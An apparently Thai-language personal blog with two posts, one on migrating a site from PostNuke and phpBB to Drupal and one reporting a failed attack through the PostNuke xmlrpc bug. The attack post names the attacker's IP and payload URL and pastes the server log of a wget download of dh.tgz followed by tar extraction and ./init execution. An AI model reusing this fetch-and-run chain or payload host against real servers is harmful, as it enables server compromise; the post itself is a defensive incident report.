MrChoke.Org

Category: Postnuke

WebFest!!

หลังจากที่โดเมนหายไปสองวันกว่าๆ ทางพี่กำธรก็ไฟเขียวแบบสายฟ้าแลบให้ย้ายเว็บทั้งหมดของ OpenTLE โดยตั้งไว้ว่า 1 คืน กับ 1 วัน เท่านั้นแต่พอเอาเข้าจริงๆ ก็มีปัญหาจุกจิกพอสมควรยิ่งนานสมองยิ่งเบลอ เมาไปตามๆ กัน การย้ายครั้งนี้ย้ายจาก PostNuke + phpBB ไปยัง Drupal ตอนนี้เนื้อหาส่วนข่าวและเว็บบอร์ดทั้งหมดก็ย้ายมาหมดแล้วเหลือในส่วนของ WiKi สงสัยต้องใช้วิธีทึกๆ เดี๊ยวหายมึนแล้วจะเรียบเรียง SQL script ที่ modify ของฝรั่งมาอีกที post ขึ้น blog วันนี้ขอเอาแรงก่อนพรุ่งนี้จะได้มาสู้ต่อ Undecided

โดนโจมตี Postnuke

ได้ยินข่าวเรื่อง bug ของ xmlrpc มาหลายวันแล้วแต่ยังไม่ได้แก้ไขวันนี้เลยเจอดีเข้าจนได้โดยได้มีมือดี จากหมายเลข IP 66.149.216.250 (Foundation For the Future) ส่งข้อมูลโดย method POST เข้ามาทาง /xmlrpc.php แล้วสั่งให้ทำการ download file ด้วย wget จาก http://dorohoi.org/insert/dh.tgz แล้วสั่งแตก tar ออกมา แต่กระบวนการนี้ไม่เสร็จโชคดีไปครับ เนื่องจากภายในบังคับผ่าน proxy ใครที่ยังไม่ได้แก้ไขก็รีบแก้นะครับก่อนจะสายเกินแก้ .. ผมอ่านเจอเขาแนะนำให้เอา xmlrpm.php ออกไปเลย พร้อมทั้ง ลบ module xmlrpc ออกไปด้วย

–16:47:36– http://dorohoi.org/insert/dh.tgz
=> `dh.tgz’
Resolving dorohoi.org… 64.92.162.194
Connecting to dorohoi.org[64.92.162.194]:80… failed: Connection timed out.
Retrying.

.
.
.

–17:49:52– http://dorohoi.org/insert/dh.tgz
(try:20) => `dh.tgz’
Connecting to dorohoi.org[64.92.162.194]:80… failed: Connection timed out.
Giving up.
tar: dh.tgz: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
sh: line 0: cd: .dh: No such file or directory
sh: ./init: No such file or directory

Copyright © 2016 MrChoke.Org

Theme by Anders NorenUp ↑